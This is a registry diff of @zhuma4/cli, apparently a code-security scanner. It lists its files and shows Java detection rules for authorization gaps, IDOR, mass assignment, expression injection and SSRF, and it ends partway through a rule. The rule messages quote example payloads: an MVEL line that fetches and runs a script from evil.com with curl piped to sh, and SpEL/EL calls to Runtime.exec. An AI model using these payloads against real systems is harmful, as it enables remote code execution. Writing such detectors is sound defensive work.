@zhuma4/cli 4.0.0-alpha.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (288) hide show
  1. package/README.md +42 -0
  2. package/dist/commands/config.d.ts +3 -0
  3. package/dist/commands/config.d.ts.map +1 -0
  4. package/dist/commands/config.js +18 -0
  5. package/dist/commands/config.js.map +1 -0
  6. package/dist/commands/init.d.ts +3 -0
  7. package/dist/commands/init.d.ts.map +1 -0
  8. package/dist/commands/init.js +11 -0
  9. package/dist/commands/init.js.map +1 -0
  10. package/dist/commands/scan.d.ts +3 -0
  11. package/dist/commands/scan.d.ts.map +1 -0
  12. package/dist/commands/scan.js +96 -0
  13. package/dist/commands/scan.js.map +1 -0
  14. package/dist/commands/scan_appid.d.ts +20 -0
  15. package/dist/commands/scan_appid.d.ts.map +1 -0
  16. package/dist/commands/scan_appid.js +301 -0
  17. package/dist/commands/scan_appid.js.map +1 -0
  18. package/dist/commands/scan_manifest.d.ts +13 -0
  19. package/dist/commands/scan_manifest.d.ts.map +1 -0
  20. package/dist/commands/scan_manifest.js +103 -0
  21. package/dist/commands/scan_manifest.js.map +1 -0
  22. package/dist/engine/api-submit.d.ts +16 -0
  23. package/dist/engine/api-submit.d.ts.map +1 -0
  24. package/dist/engine/api-submit.js +66 -0
  25. package/dist/engine/api-submit.js.map +1 -0
  26. package/dist/engine/batch_scan.d.ts +36 -0
  27. package/dist/engine/batch_scan.d.ts.map +1 -0
  28. package/dist/engine/batch_scan.js +192 -0
  29. package/dist/engine/batch_scan.js.map +1 -0
  30. package/dist/engine/config.d.ts +12 -0
  31. package/dist/engine/config.d.ts.map +1 -0
  32. package/dist/engine/config.js +27 -0
  33. package/dist/engine/config.js.map +1 -0
  34. package/dist/engine/errors.d.ts +36 -0
  35. package/dist/engine/errors.d.ts.map +1 -0
  36. package/dist/engine/errors.js +99 -0
  37. package/dist/engine/errors.js.map +1 -0
  38. package/dist/engine/filter.d.ts +13 -0
  39. package/dist/engine/filter.d.ts.map +1 -0
  40. package/dist/engine/filter.js +64 -0
  41. package/dist/engine/filter.js.map +1 -0
  42. package/dist/engine/finding_classifier.d.ts +108 -0
  43. package/dist/engine/finding_classifier.d.ts.map +1 -0
  44. package/dist/engine/finding_classifier.js +440 -0
  45. package/dist/engine/finding_classifier.js.map +1 -0
  46. package/dist/engine/incremental/engine.d.ts +25 -0
  47. package/dist/engine/incremental/engine.d.ts.map +1 -0
  48. package/dist/engine/incremental/engine.js +337 -0
  49. package/dist/engine/incremental/engine.js.map +1 -0
  50. package/dist/engine/incremental/git-diff.d.ts +19 -0
  51. package/dist/engine/incremental/git-diff.d.ts.map +1 -0
  52. package/dist/engine/incremental/git-diff.js +175 -0
  53. package/dist/engine/incremental/git-diff.js.map +1 -0
  54. package/dist/engine/incremental/types.d.ts +33 -0
  55. package/dist/engine/incremental/types.d.ts.map +1 -0
  56. package/dist/engine/incremental/types.js +11 -0
  57. package/dist/engine/incremental/types.js.map +1 -0
  58. package/dist/engine/manifest_scanner.d.ts +48 -0
  59. package/dist/engine/manifest_scanner.d.ts.map +1 -0
  60. package/dist/engine/manifest_scanner.js +599 -0
  61. package/dist/engine/manifest_scanner.js.map +1 -0
  62. package/dist/engine/project.d.ts +22 -0
  63. package/dist/engine/project.d.ts.map +1 -0
  64. package/dist/engine/project.js +279 -0
  65. package/dist/engine/project.js.map +1 -0
  66. package/dist/engine/sarif.d.ts +13 -0
  67. package/dist/engine/sarif.d.ts.map +1 -0
  68. package/dist/engine/sarif.js +44 -0
  69. package/dist/engine/sarif.js.map +1 -0
  70. package/dist/engine/sca-integration.d.ts +36 -0
  71. package/dist/engine/sca-integration.d.ts.map +1 -0
  72. package/dist/engine/sca-integration.js +91 -0
  73. package/dist/engine/sca-integration.js.map +1 -0
  74. package/dist/engine/scanner.d.ts +18 -0
  75. package/dist/engine/scanner.d.ts.map +1 -0
  76. package/dist/engine/scanner.js +138 -0
  77. package/dist/engine/scanner.js.map +1 -0
  78. package/dist/index.d.ts +13 -0
  79. package/dist/index.d.ts.map +1 -0
  80. package/dist/index.js +41 -0
  81. package/dist/index.js.map +1 -0
  82. package/dist/report/render.d.ts +23 -0
  83. package/dist/report/render.d.ts.map +1 -0
  84. package/dist/report/render.js +335 -0
  85. package/dist/report/render.js.map +1 -0
  86. package/package.json +41 -0
  87. package/rules/android/mobile-cleartext-traffic.yaml +46 -0
  88. package/rules/android/mobile-component-security.yaml +107 -0
  89. package/rules/android/mobile-crypto-weakness.yaml +139 -0
  90. package/rules/android/mobile-cwe-1021-tapjacking.yaml +81 -0
  91. package/rules/android/mobile-cwe-114-dynamic-dex-loading.yaml +41 -0
  92. package/rules/android/mobile-cwe-200-clipboard-data-leak.yaml +66 -0
  93. package/rules/android/mobile-cwe-200-debug-builds.yaml +111 -0
  94. package/rules/android/mobile-cwe-200-log-sensitive-data.yaml +61 -0
  95. package/rules/android/mobile-cwe-200-webview-debugging.yaml +56 -0
  96. package/rules/android/mobile-cwe-200-webview-universal-access.yaml +30 -0
  97. package/rules/android/mobile-cwe-200-window-flags.yaml +96 -0
  98. package/rules/android/mobile-cwe-22-content-provider-openfile.yaml +73 -0
  99. package/rules/android/mobile-cwe-22-path-traversal.yaml +86 -0
  100. package/rules/android/mobile-cwe-287-biometric-weakness.yaml +102 -0
  101. package/rules/android/mobile-cwe-295-cert-pinning-missing.yaml +78 -0
  102. package/rules/android/mobile-cwe-295-webview-ssl-bypass.yaml +104 -0
  103. package/rules/android/mobile-cwe-312-cleartext-storage.yaml +109 -0
  104. package/rules/android/mobile-cwe-319-cleartext-communication.yaml +84 -0
  105. package/rules/android/mobile-cwe-321-hardcoded-crypto-keys.yaml +132 -0
  106. package/rules/android/mobile-cwe-326-short-rsa.yaml +108 -0
  107. package/rules/android/mobile-cwe-327-rc4-3des.yaml +107 -0
  108. package/rules/android/mobile-cwe-329-cbc-padding-oracle.yaml +76 -0
  109. package/rules/android/mobile-cwe-470-reflection-injection.yaml +39 -0
  110. package/rules/android/mobile-cwe-489-root-detection-weak.yaml +125 -0
  111. package/rules/android/mobile-cwe-489-stetho-debug.yaml +107 -0
  112. package/rules/android/mobile-cwe-502-insecure-deserialization.yaml +76 -0
  113. package/rules/android/mobile-cwe-552-world-readable-files.yaml +63 -0
  114. package/rules/android/mobile-cwe-749-webview-java-objects.yaml +78 -0
  115. package/rules/android/mobile-cwe-749-webview-jsbridge.yaml +57 -0
  116. package/rules/android/mobile-cwe-749-webview-loadurl-injection.yaml +80 -0
  117. package/rules/android/mobile-cwe-78-command-injection.yaml +77 -0
  118. package/rules/android/mobile-cwe-780-rsa-no-oaep.yaml +80 -0
  119. package/rules/android/mobile-cwe-79-webview-setdata.yaml +78 -0
  120. package/rules/android/mobile-cwe-79-webview-xss.yaml +65 -0
  121. package/rules/android/mobile-cwe-798-hardcoded-credentials.yaml +108 -0
  122. package/rules/android/mobile-cwe-89-sql-injection.yaml +100 -0
  123. package/rules/android/mobile-cwe-927-implicit-intent.yaml +121 -0
  124. package/rules/android/mobile-cwe-927-ipc-file-provider.yaml +102 -0
  125. package/rules/android/mobile-cwe-939-deeplink-validation.yaml +76 -0
  126. package/rules/android/mobile-sdk-google-firebase-open.yaml +117 -0
  127. package/rules/android/mobile-sdk-tencent-tpns-config-leak.yaml +131 -0
  128. package/rules/android/mobile-secrets-storage.yaml +136 -0
  129. package/rules/android/mobile-webview-security.yaml +88 -0
  130. package/rules/common/cwe-200-sensitive-data-exposure.yaml +61 -0
  131. package/rules/common/cwe-22-path-traversal.yaml +47 -0
  132. package/rules/common/cwe-295-ssl-bypass.yaml +217 -0
  133. package/rules/common/cwe-295-ssl-verification-disabled.yaml +64 -0
  134. package/rules/common/cwe-306-missing-authentication.yaml +44 -0
  135. package/rules/common/cwe-326-weak-key-size.yaml +107 -0
  136. package/rules/common/cwe-327-weak-crypto.yaml +177 -0
  137. package/rules/common/cwe-328-weak-hash.yaml +96 -0
  138. package/rules/common/cwe-329-cbc-mode.yaml +26 -0
  139. package/rules/common/cwe-352-csrf.yaml +23 -0
  140. package/rules/common/cwe-434-unrestricted-file-upload.yaml +41 -0
  141. package/rules/common/cwe-502-insecure-deserialization.yaml +44 -0
  142. package/rules/common/cwe-601-url-redirect.yaml +110 -0
  143. package/rules/common/cwe-611-xxe.yaml +70 -0
  144. package/rules/common/cwe-732-incorrect-permission.yaml +49 -0
  145. package/rules/common/cwe-770-resource-exhaustion.yaml +44 -0
  146. package/rules/common/cwe-78-os-command-injection.yaml +43 -0
  147. package/rules/common/cwe-787-out-of-bounds-write.yaml +37 -0
  148. package/rules/common/cwe-79-xss.yaml +51 -0
  149. package/rules/common/cwe-862-missing-authorization.yaml +40 -0
  150. package/rules/common/cwe-89-sqli.yaml +89 -0
  151. package/rules/common/cwe-918-ssrf.yaml +45 -0
  152. package/rules/common/cwe-94-code-injection.yaml +59 -0
  153. package/rules/common/zm-go-cwe22-path-traversal-fs.yaml +117 -0
  154. package/rules/common/zm-go-cwe22-path-traversal.yaml +103 -0
  155. package/rules/common/zm-go-cwe307-brute-force.yaml +129 -0
  156. package/rules/common/zm-go-cwe326-weak-crypto.yaml +124 -0
  157. package/rules/common/zm-go-cwe327-weak-cipher.yaml +152 -0
  158. package/rules/common/zm-go-cwe384-session-fixation.yaml +128 -0
  159. package/rules/common/zm-go-cwe502-deserialization.yaml +120 -0
  160. package/rules/common/zm-go-cwe78-command-injection.yaml +95 -0
  161. package/rules/common/zm-go-cwe79-xss.yaml +104 -0
  162. package/rules/common/zm-go-cwe798-hardcoded-creds.yaml +153 -0
  163. package/rules/common/zm-go-cwe89-sqli.yaml +89 -0
  164. package/rules/common/zm-go-cwe918-ssrf.yaml +117 -0
  165. package/rules/common/zm-java-cwe117-log-injection.yaml +83 -0
  166. package/rules/common/zm-java-cwe117-logforging.yaml +153 -0
  167. package/rules/common/zm-java-cwe200-actuator-exposure.yaml +8 -0
  168. package/rules/common/zm-java-cwe200-info-disclosure.yaml +91 -0
  169. package/rules/common/zm-java-cwe22-file-depth.yaml +135 -0
  170. package/rules/common/zm-java-cwe22-path-traversal-spring.yaml +81 -0
  171. package/rules/common/zm-java-cwe284-missing-auth-spring.yaml +131 -0
  172. package/rules/common/zm-java-cwe295-webview-ssl.yaml +123 -0
  173. package/rules/common/zm-java-cwe327-weakcrypto.yaml +197 -0
  174. package/rules/common/zm-java-cwe347-jwt.yaml +30 -0
  175. package/rules/common/zm-java-cwe352-csrf-depth.yaml +107 -0
  176. package/rules/common/zm-java-cwe352-csrf-disabled.yaml +15 -0
  177. package/rules/common/zm-java-cwe501-trust-boundary.yaml +124 -0
  178. package/rules/common/zm-java-cwe502-deserial-depth.yaml +128 -0
  179. package/rules/common/zm-java-cwe502-fastjson.yaml +137 -0
  180. package/rules/common/zm-java-cwe502-gadget.yaml +158 -0
  181. package/rules/common/zm-java-cwe502-jndi-injection.yaml +91 -0
  182. package/rules/common/zm-java-cwe502-shiro.yaml +108 -0
  183. package/rules/common/zm-java-cwe601-url-redirect-spring.yaml +85 -0
  184. package/rules/common/zm-java-cwe611-xxe-enhanced.yaml +80 -0
  185. package/rules/common/zm-java-cwe611-xxe-transformer.yaml +85 -0
  186. package/rules/common/zm-java-cwe639-idor.yaml +123 -0
  187. package/rules/common/zm-java-cwe79-xss-depth.yaml +98 -0
  188. package/rules/common/zm-java-cwe862-authz-depth.yaml +127 -0
  189. package/rules/common/zm-java-cwe915-mass-assignment.yaml +16 -0
  190. package/rules/common/zm-java-cwe917-expression-injection.yaml +120 -0
  191. package/rules/common/zm-java-cwe918-resttemplate.yaml +67 -0
  192. package/rules/common/zm-java-cwe918-ssrf-depth.yaml +103 -0
  193. package/rules/common/zm-java-cwe918-ssrf-resttemplate.yaml +77 -0
  194. package/rules/common/zm-java-cwe918-webclient.yaml +44 -0
  195. package/rules/common/zm-java-cwe94-ognl.yaml +66 -0
  196. package/rules/common/zm-java-cwe94-spel-injection.yaml +85 -0
  197. package/rules/common/zm-java-cwe94-spel.yaml +112 -0
  198. package/rules/common/zm-java-cwe94-ssti.yaml +22 -0
  199. package/rules/common/zm-java-cwe942-cors.yaml +15 -0
  200. package/rules/common/zm-js-cwe1321-prototype-pollution.yaml +61 -0
  201. package/rules/common/zm-js-cwe200-info-disclosure.yaml +95 -0
  202. package/rules/common/zm-js-cwe22-path-traversal-fs.yaml +113 -0
  203. package/rules/common/zm-js-cwe22-pathtraversal.yaml +111 -0
  204. package/rules/common/zm-js-cwe307-brute-force.yaml +136 -0
  205. package/rules/common/zm-js-cwe345-postmessage.yaml +75 -0
  206. package/rules/common/zm-js-cwe347-jwt-weak.yaml +95 -0
  207. package/rules/common/zm-js-cwe352-csrf.yaml +52 -0
  208. package/rules/common/zm-js-cwe384-session-fixation.yaml +132 -0
  209. package/rules/common/zm-js-cwe502-deserialization.yaml +119 -0
  210. package/rules/common/zm-js-cwe611-xxe.yaml +108 -0
  211. package/rules/common/zm-js-cwe639-idor.yaml +122 -0
  212. package/rules/common/zm-js-cwe693-helmet-missing.yaml +46 -0
  213. package/rules/common/zm-js-cwe78-exec.yaml +37 -0
  214. package/rules/common/zm-js-cwe78-spawn.yaml +37 -0
  215. package/rules/common/zm-js-cwe79-domxss.yaml +84 -0
  216. package/rules/common/zm-js-cwe79-react-xss.yaml +18 -0
  217. package/rules/common/zm-js-cwe79-xss-ejs.yaml +70 -0
  218. package/rules/common/zm-js-cwe89-sqli.yaml +153 -0
  219. package/rules/common/zm-js-cwe915-mass-assignment.yaml +111 -0
  220. package/rules/common/zm-js-cwe918-ssrf-fetch.yaml +134 -0
  221. package/rules/common/zm-js-cwe918-ssrf.yaml +132 -0
  222. package/rules/common/zm-js-cwe94-template-injection.yaml +130 -0
  223. package/rules/common/zm-js-cwe942-cors.yaml +49 -0
  224. package/rules/common/zm-js-cwe943-nosql-injection.yaml +52 -0
  225. package/rules/common/zm-js-cwe95-eval.yaml +59 -0
  226. package/rules/common/zm-js-cwe95-function-ctor.yaml +31 -0
  227. package/rules/common/zm-py-cwe22-path-traversal.yaml +86 -0
  228. package/rules/common/zm-py-cwe327-weak-crypto.yaml +103 -0
  229. package/rules/common/zm-py-cwe502-pickle.yaml +92 -0
  230. package/rules/common/zm-py-cwe611-xxe.yaml +100 -0
  231. package/rules/common/zm-py-cwe78-command-injection.yaml +121 -0
  232. package/rules/common/zm-py-cwe79-xss.yaml +123 -0
  233. package/rules/common/zm-py-cwe798-hardcoded-creds.yaml +86 -0
  234. package/rules/common/zm-py-cwe89-sqli.yaml +59 -0
  235. package/rules/common/zm-py-cwe918-ssrf.yaml +123 -0
  236. package/rules/common/zm-py-cwe94-ssti.yaml +87 -0
  237. package/rules/common/zm-py-cwe943-nosql-injection.yaml +123 -0
  238. package/rules/iac/ansible/zm-ansible-cwe269-privilege-escalation.yaml +63 -0
  239. package/rules/iac/ansible/zm-ansible-cwe78-command-injection.yaml +67 -0
  240. package/rules/iac/ansible/zm-ansible-cwe798-hardcoded-creds.yaml +93 -0
  241. package/rules/iac/terraform/zm-tf-cwe200-s3-bucket-public.yaml +100 -0
  242. package/rules/iac/terraform/zm-tf-cwe284-sg-wide-open.yaml +88 -0
  243. package/rules/iac/terraform/zm-tf-cwe311-iam-wildcard.yaml +83 -0
  244. package/rules/iac/terraform/zm-tf-cwe319-rds-public.yaml +72 -0
  245. package/rules/iac/terraform/zm-tf-cwe798-hardcoded-creds.yaml +102 -0
  246. package/rules/iac/zm-docker-cwe250-root-user.yaml +50 -0
  247. package/rules/iac/zm-docker-cwe400-resource-limit.yaml +92 -0
  248. package/rules/iac/zm-docker-security.yaml +104 -0
  249. package/rules/iac/zm-k8s-cwe200-service-account.yaml +83 -0
  250. package/rules/iac/zm-k8s-cwe250-privileged.yaml +56 -0
  251. package/rules/iac/zm-k8s-security.yaml +79 -0
  252. package/rules/rules_index.yaml.off +477 -0
  253. package/rules/semgrep-registry/anonymous-ldap-bind.yaml +34 -0
  254. package/rules/semgrep-registry/bad-hexa-conversion.yaml +32 -0
  255. package/rules/semgrep-registry/blowfish-insufficient-key-size.yaml +39 -0
  256. package/rules/semgrep-registry/cbc-padding-oracle.yaml +38 -0
  257. package/rules/semgrep-registry/command-injection-formatted-runtime-call.yaml +90 -0
  258. package/rules/semgrep-registry/command-injection-process-builder.yaml +148 -0
  259. package/rules/semgrep-registry/cookie-missing-httponly.yaml +38 -0
  260. package/rules/semgrep-registry/cookie-missing-secure-flag.yaml +38 -0
  261. package/rules/semgrep-registry/crlf-injection-logs.yaml +86 -0
  262. package/rules/semgrep-registry/dangerous-groovy-shell.yaml +46 -0
  263. package/rules/semgrep-registry/el-injection.yaml +137 -0
  264. package/rules/semgrep-registry/formatted-sql-string.yaml +95 -0
  265. package/rules/semgrep-registry/http-response-splitting.yaml +44 -0
  266. package/rules/semgrep-registry/index.txt +1 -0
  267. package/rules/semgrep-registry/insecure-smtp-connection.yaml +34 -0
  268. package/rules/semgrep-registry/java-reverse-shell.yaml +43 -0
  269. package/rules/semgrep-registry/jdbc-sql-formatted-string.yaml +120 -0
  270. package/rules/semgrep-registry/ldap-entry-poisoning.yaml +41 -0
  271. package/rules/semgrep-registry/ldap-injection.yaml +82 -0
  272. package/rules/semgrep-registry/md5-used-as-password.yaml +44 -0
  273. package/rules/semgrep-registry/object-deserialization.yaml +34 -0
  274. package/rules/semgrep-registry/ognl-injection.yaml +839 -0
  275. package/rules/semgrep-registry/overly-permissive-file-permission.yaml +49 -0
  276. package/rules/semgrep-registry/permissive-cors.yaml +77 -0
  277. package/rules/semgrep-registry/script-engine-injection.yaml +66 -0
  278. package/rules/semgrep-registry/tainted-cmd-from-http-request.yaml +74 -0
  279. package/rules/semgrep-registry/tainted-env-from-http-request.yaml +46 -0
  280. package/rules/semgrep-registry/tainted-ldapi-from-http-request.yaml +42 -0
  281. package/rules/semgrep-registry/tainted-session-from-http-request.yaml +70 -0
  282. package/rules/semgrep-registry/tainted-xpath-from-http-request.yaml +38 -0
  283. package/rules/semgrep-registry/unsafe-reflection.yaml +39 -0
  284. package/rules/semgrep-registry/unvalidated-redirect.yaml +127 -0
  285. package/rules/semgrep-registry/url-rewriting.yaml +82 -0
  286. package/rules/semgrep-registry/weak-ssl-context.yaml +34 -0
  287. package/rules/semgrep-registry/xml-decoder.yaml +53 -0
  288. package/rules/semgrep-registry/xssrequestwrapper-is-insecure.yaml +40 -0
@@ -0,0 +1,127 @@
1
+ # CWE-862/863 权限控制深度覆盖: IDOR/Forced Browsing/Missing Function-Level Access
2
+
3
+ rules:
4
+
5
+ # ZM-JAVA-AUTHZ-LACKING-001: 控制器方法缺少安全注解
6
+ - id: zm-java-authz-lacking-001
7
+ severity: HIGH
8
+ message: |
9
+ Spring MVC 控制器有 @GetMapping/@PostMapping 但无 @PreAuthorize/@Secured/@RolesAllowed。
10
+ 检查是否外部 SecurityFilterChain 统一保护,否则存在未授权访问风险。
11
+ languages:
12
+ - java
13
+ pattern: |
14
+ @$CONTROLLER
15
+ class $CLASS {
16
+ ...
17
+ @GetMapping($PATH)
18
+ $TYPE $METHOD(...) {
19
+ ...
20
+ }
21
+ ...
22
+ }
23
+ pattern-not: |
24
+ @$CONTROLLER
25
+ class $CLASS {
26
+ ...
27
+ @PreAuthorize($X)
28
+ @GetMapping($PATH)
29
+ $TYPE $METHOD(...) {
30
+ ...
31
+ }
32
+ ...
33
+ }
34
+ metadata:
35
+ cwe: "CWE-862: Missing Authorization"
36
+ owasp: "A01:2021 - Broken Access Control"
37
+ precision: low
38
+ tags: [authorization, spring-security, access-control]
39
+ references:
40
+ - https://docs.spring.io/spring-security/reference/servlet/authorization/method-security.html
41
+
42
+ # ZM-JAVA-IDOR-PATH-001: 路径变量直接用于数据库操作(无拥有者校验)
43
+ - id: zm-java-idor-path-001
44
+ severity: HIGH
45
+ message: |
46
+ @PathVariable 直接传入 DAO/Repository 方法 — 可能存在 IDOR。
47
+ 校验当前用户是否有权访问该资源,或使用 UUID 替代自增 ID。
48
+ languages:
49
+ - java
50
+ pattern-either:
51
+ - pattern: |
52
+ @GetMapping($PATH)
53
+ $TYPE $METHOD(@PathVariable("id") $ID) {
54
+ ...
55
+ $REPO.findById($ID);
56
+ ...
57
+ }
58
+ - pattern: |
59
+ @DeleteMapping($PATH)
60
+ $TYPE $METHOD(@PathVariable("id") $ID) {
61
+ ...
62
+ $REPO.deleteById($ID);
63
+ ...
64
+ }
65
+ metadata:
66
+ cwe: "CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)"
67
+ owasp: "A01:2021 - Broken Access Control"
68
+ precision: medium
69
+ tags: [idor, spring-data, access-control]
70
+
71
+ # ZM-JAVA-IDOR-ENTITY-001: Entity 对象直接从请求体映射后持久化
72
+ - id: zm-java-idor-entity-001
73
+ severity: HIGH
74
+ message: |
75
+ @RequestBody 直接映射为 JPA Entity 后 save — 攻击者可篡改 ID/owner 字段。
76
+ 使用 DTO + 显式字段映射,或 @JsonIgnoreProperties 禁止客户端设置敏感字段。
77
+ languages:
78
+ - java
79
+ pattern-either:
80
+ - pattern: |
81
+ @PostMapping($PATH)
82
+ $TYPE $METHOD(@RequestBody $ENTITY $VAR) {
83
+ ...
84
+ $REPO.save($VAR);
85
+ ...
86
+ }
87
+ - pattern: |
88
+ $REPO.save($VAR)
89
+ metadata:
90
+ cwe: "CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes"
91
+ owasp: "A01:2021 - Broken Access Control"
92
+ precision: medium
93
+ tags: [mass-assignment, spring-data, idor]
94
+
95
+ # ZM-JAVA-AUTHZ-ANNOTATION-001: @PreAuthorize 表达式使用 permitAll() 在生产路由
96
+ - id: zm-java-authz-permit-all-001
97
+ severity: LOW
98
+ message: |
99
+ @PreAuthorize("permitAll()") 允许未认证用户访问 — 如果是生产环境中敏感路由,移除或改为 authenticated()。
100
+ languages:
101
+ - java
102
+ pattern: |
103
+ @PreAuthorize("permitAll()")
104
+ metadata:
105
+ cwe: "CWE-862: Missing Authorization"
106
+ owasp: "A01:2021 - Broken Access Control"
107
+ precision: very-high
108
+ tags: [authorization, spring-security]
109
+
110
+ # ZM-JAVA-SECURITY-CONTEXT-001: SecurityContextHolder 直接检查角色名(字符串硬编码)
111
+ - id: zm-java-security-ctx-001
112
+ severity: LOW
113
+ message: |
114
+ SecurityContextHolder.getContext().getAuthentication() 后直接字符串比较角色 —
115
+ 推荐使用 @PreAuthorize("hasRole('ADMIN')") 注解,更声明式且不易出错。
116
+ languages:
117
+ - java
118
+ pattern-either:
119
+ - pattern: |
120
+ SecurityContextHolder.getContext().getAuthentication().getAuthorities()
121
+ - pattern: |
122
+ $AUTH.hasRole($ROLE)
123
+ metadata:
124
+ cwe: "CWE-862: Missing Authorization"
125
+ owasp: "A01:2021 - Broken Access Control"
126
+ precision: low
127
+ tags: [authorization, security-context, spring-security]
@@ -0,0 +1,16 @@
1
+ # CWE-915: Mass Assignment 过度绑定检测
2
+ rules:
3
+ - id: zm-java-mass-01
4
+ severity: WARNING
5
+ message: "@ModelAttribute 直接绑定到 JPA Entity,攻击者可通过请求体注入敏感字段。"
6
+ languages: [java]
7
+ pattern-either:
8
+ - pattern: $REPO.save($VAR)
9
+ metadata: { cwe: "CWE-915", precision: low, category: injection, owasp: "A08:2021" }
10
+
11
+ - id: zm-java-mass-02
12
+ severity: WARNING
13
+ message: "BeanUtils.copyProperties() 全属性复制,攻击者可覆盖敏感字段(如 role/admin)。"
14
+ languages: [java]
15
+ pattern: BeanUtils.copyProperties($SRC, $DST)
16
+ metadata: { cwe: "CWE-915", precision: medium, category: injection, owasp: "A08:2021" }
@@ -0,0 +1,120 @@
1
+ # CWE-917: Java OGNL/MVEL/EL 表达式注入深度检测
2
+ # 逐码 ZhuMa V4.1 Sprint — Java 规则库
3
+ # 覆盖: ExpressionEvaluator + userInput / MVEL 全量sink
4
+
5
+ rules:
6
+
7
+ # ZM-JAVA-EXPR-001: MVEL 表达式注入
8
+ - id: zm-java-expr-001
9
+ severity: ERROR
10
+ message: |
11
+ MVEL.eval() / MVEL.executeExpression() 的参数由用户输入控制,可导致任意代码执行。
12
+ MVEL 表达式支持方法调用、new 操作符、反射等高级特性,是完整的表达式语言。
13
+
14
+ 攻击Payload示例:
15
+ Runtime.getRuntime().exec("curl http://evil.com/shell.sh | sh")
16
+ 或通过反射: java.lang.Runtime.getRuntime().exec(...)
17
+
18
+ 修复:
19
+ 1. 禁止用户输入直接传入MVEL执行
20
+ 2. 如必须动态表达式,使用严格白名单的变量+简单表达式语法
21
+ 3. 使用 MVEL 沙箱: ParserContext + 禁用 imports
22
+ 4. 替换为安全的模板引擎(如 Mustache)
23
+ languages:
24
+ - java
25
+ pattern-either:
26
+ - pattern: MVEL.eval($INPUT, ...)
27
+ - pattern: MVEL.eval($INPUT)
28
+ - pattern: MVEL.executeExpression($INPUT, ...)
29
+ - pattern: MVEL.executeExpression($EXPR, $INPUT)
30
+ - pattern: MVEL.compileExpression($INPUT, ...)
31
+ - pattern: MVEL.executeSetExpression($INPUT, ...)
32
+ metadata:
33
+ cwe: "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection)"
34
+ severity: ERROR
35
+ precision: high
36
+ category: expression-injection
37
+ likelihood: HIGH
38
+ impact: CRITICAL
39
+ owasp: "A03:2021 - Injection"
40
+ references:
41
+ - "https://mvel.documentnode.com/"
42
+ - "https://portswigger.net/web-security/server-side-template-injection"
43
+
44
+ # ZM-JAVA-EXPR-002: javax.el / Jakarta EL 表达式注入
45
+ - id: zm-java-expr-002
46
+ severity: ERROR
47
+ message: |
48
+ 检测到 javax.el.ExpressionFactory / jakarta.el.ExpressionFactory 创建表达式时
49
+ 表达式字符串由用户输入控制,可导致EL表达式注入。
50
+
51
+ EL表达式支持方法调用:
52
+ #{bean.getClass().forName('java.lang.Runtime').getRuntime().exec('cmd')}
53
+
54
+ 修复:
55
+ 1. 禁止用户输入直接作为EL表达式
56
+ 2. 使用 ELProcessor.setVariable 设置只读变量
57
+ 3. 使用 StandardELContext + 禁用的 ELResolver
58
+ 4. 对用户输入进行严格的白名单校验(仅允许简单属性访问)
59
+ languages:
60
+ - java
61
+ pattern-either:
62
+ - pattern: |
63
+ $FACTORY.createValueExpression($CONTEXT, $INPUT, $CLASS)
64
+ - pattern: |
65
+ $FACTORY.createMethodExpression($CONTEXT, $INPUT, $RTYPE, $PARAMS)
66
+ - pattern: |
67
+ $PROCESSOR.eval($INPUT)
68
+ - pattern: |
69
+ $PROCESSOR.getValue($INPUT, $CLASS)
70
+ - pattern: |
71
+ $ENGINE.eval($INPUT)
72
+ metadata:
73
+ cwe: "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection)"
74
+ severity: ERROR
75
+ precision: high
76
+ category: expression-injection
77
+ likelihood: HIGH
78
+ impact: CRITICAL
79
+ owasp: "A03:2021 - Injection"
80
+ references:
81
+ - "https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm"
82
+
83
+ # ZM-JAVA-EXPR-003: Spring ExpressionEvaluator 用户输入评估
84
+ - id: zm-java-expr-003
85
+ severity: ERROR
86
+ message: |
87
+ 检测到 Spring ExpressionParser.parseExpression() 的表达式由用户输入直接构造,
88
+ 或 Expression.getValue() 在不可信上下文中执行。
89
+
90
+ SpEL payload 示例:
91
+ T(java.lang.Runtime).getRuntime().exec('calc')
92
+ #{T(java.lang.Runtime).getRuntime().exec('cmd')}
93
+ new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()
94
+
95
+ 修复:
96
+ 1. 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
97
+ 2. SimpleEvaluationContext 默认禁用类型引用(T操作符)、构造器调用、方法引用
98
+ 3. 使用 ExpressionParser 的 setVariable 方法而非拼接表达式字符串
99
+ 4. 对用户输入做严格白名单过滤
100
+ languages:
101
+ - java
102
+ pattern-either:
103
+ - pattern: |
104
+ $PARSER.parseExpression($INPUT)
105
+ - pattern: |
106
+ $PARSER.parseExpression($INPUT + $Y)
107
+ - pattern: |
108
+ $EXP.getValue($CONTEXT)
109
+ - pattern: |
110
+ $EXP.getValue()
111
+ metadata:
112
+ cwe: "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection)"
113
+ severity: ERROR
114
+ precision: medium
115
+ category: expression-injection
116
+ likelihood: HIGH
117
+ impact: CRITICAL
118
+ owasp: "A03:2021 - Injection"
119
+ references:
120
+ - "https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions"
@@ -0,0 +1,67 @@
1
+ # CWE-918: SSRF — RestTemplate URL 参数可控检测
2
+ # 逐码 ZhuMa V4.1
3
+
4
+ rules:
5
+
6
+ - id: zm-java-ssrf-rt-001
7
+ severity: WARNING
8
+ message: |
9
+ RestTemplate.getForObject/postForObject() URL 参数来自 HTTP 请求,可导致 SSRF。
10
+ 修复: 1.白名单域名校验 2.DNS解析后检查IP非内网 3.禁用自动重定向
11
+ languages:
12
+ - java
13
+ pattern-either:
14
+ - pattern: |
15
+ $RT.getForObject($REQ.getParameter($PARAM), ...)
16
+ - pattern: |
17
+ $RT.postForObject($REQ.getParameter($PARAM), ...)
18
+ metadata:
19
+ cwe: "CWE-918"
20
+ severity: WARNING
21
+ precision: medium
22
+ category: ssrf
23
+ likelihood: HIGH
24
+ impact: HIGH
25
+ owasp: "A10:2021 - SSRF"
26
+
27
+ - id: zm-java-ssrf-rt-002
28
+ severity: WARNING
29
+ message: |
30
+ RestTemplate.exchange() URL 参数用户可控,可能导致 SSRF。
31
